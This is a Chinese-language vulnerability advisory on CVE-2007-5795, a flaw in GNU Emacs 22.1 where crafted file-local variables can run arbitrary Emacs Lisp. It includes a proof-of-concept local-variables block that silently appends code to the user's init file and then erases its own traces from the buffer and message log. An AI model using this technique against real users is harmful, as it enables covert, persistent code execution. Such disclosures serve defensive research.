安全研究

安全漏洞
GNU Emacs Local变量处理代码执行漏洞

发布日期:2007-11-02
更新日期:2007-11-06

受影响系统:
GNU Emacs 22.1
描述:
BUGTRAQ  ID: 26327
CVE(CAN) ID: CVE-2007-5795

Emacs是一个可扩展的实时显示编辑器。

Emacs的实现上存在漏洞,攻击者可能利用此漏洞在用户系统上执行恶意代码。

如果将enable-local-variables设置为:safe的话,则Emacs中的hack-local-variables函数可能无法正确地搜索不安全变量的列表,当用户打开了包含有Local变量声明的特制文件时,攻击者就可以绕过限制修改关键程序变量,导致执行任意Emacs Lisp代码。

<*来源:Drake Wilson (drake@begriffli.ch
  
  链接:http://secunia.com/advisories/27508/
        http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=449008
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End:

建议:
厂商补丁:

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://cvs.savannah.gnu.org/viewvc/emacs/emacs/lisp/files.el?r1=1.896.2.28&r2=1.896.2.29

浏览次数:2407
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障